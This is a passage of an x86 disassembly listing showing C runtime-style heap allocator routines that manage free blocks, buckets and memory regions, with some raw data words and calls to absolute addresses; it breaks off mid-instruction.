___:0041ACB1j cmp byte ptr [ecx], 3Bh jnz short loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: ___:0041ACA8j inc ecx loc_41ACAF: ; CODE XREF: ___:0041ACACj cmp [ecx], bl jnz short loc_41ACA5 loc_41ACB3: ; CODE XREF: ___:0041ACA3j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: ___:0041ABF8j ; ___:0041AC8Ej ... lea eax, [ebp-4] push eax call sub_41AB6F cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: ___:0041ABDAj ; ___:0041ACC2j ... pop ebx leave retn ; --------------------------------------------------------------------------- dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024553h dd 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh, 4CF028A3h dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h dd 0C0850000h, 35FF0F75h, 4CF024h, 60D3E890h, 0C0330244h dd 58016AC3h, 14068C3h, 6A0000h, 0F02435FFh, 0E890004Ch dd 23152ACh, 1CA3C085h, 75004CF0h, 4C8BC301h, 25830424h dd 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h, 4CF0200Dh dd 805C700h, 10004CF0h, 58000000h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4CF018 lea ecx, [eax+eax*4] mov eax, dword_4CF01C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_4CF014 test eax, eax jz loc_41B0CA mov ecx, dword_4CF00C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4CF00C mov eax, dword_4CF014 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4CF014 mov ecx, dword_4CF00C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4CF014 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4CF014 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4CF014 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4CF014 push dword ptr [eax+10h] push 0 push dword_4CF024 nop call near ptr 2720000h mov eax, dword_4CF018 mov edx, dword_4CF01C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4CF014 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4CF018 cmp eax, dword_4CF014 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_4CF01C mov dword_4CF010, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_4CF00C, edi mov dword_4CF014, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4CF018 mov edx, dword_4CF01C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_4CF010 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_4CF010, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_4CF014 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_4CF00C jnz short loc_41B3D9 and dword_4CF014, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_4CF018 mov ecx, dword_4CF008 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4CF01C push edi push dword_4CF024 nop call near ptr 2840000h cmp eax, edi jz short loc_41B479 add dword_4CF008, 10h mov dword_4CF01C, eax mov eax, dword_4CF018 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_4CF01C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4CF024 lea esi, [ecx+eax*4] call near ptr 2730000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi nop call near ptr 2870746h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_4CF024 nop call near ptr 2720000h loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4CF018 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2870746h test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov 